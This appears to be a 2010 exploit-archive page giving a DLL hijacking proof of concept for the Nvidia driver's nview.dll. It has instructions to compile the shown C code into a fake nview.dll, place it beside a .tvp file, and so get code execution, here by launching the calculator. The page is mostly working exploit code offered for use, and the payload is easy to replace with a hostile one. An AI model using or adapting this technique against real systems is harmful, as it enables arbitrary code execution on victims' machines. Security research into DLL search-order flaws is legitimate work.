[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Nvidia Driver DLL Hijacking Exploit (nview.dll)
# Published : 2010-08-25
# Author : Encrypt3d.M!nd
# Previous Title : CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit
# Next Title : Adobe ExtendedScript Toolkit CS5 v3.5.0.52 (dwmapi.dll) DLL Hijacking Exploit


/*
Nvidia Driver (nview.dll) Dll Hijacking Exploit
By: Encrypt3d.M!nd
Date: 2582010
Download: http://www.nvidia.com/Download/index.aspx?lang=en-us

Details:
Compile the following code and rename it to nview.dll
and place file with one of the affected types in the same directory of the dll

Affected types: tvp

Code :(used the one from this
advisory:http://www.exploit-db.com/exploits/14758/):
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: http://www.exploit-db.com/sploits/nvidia-poc.rar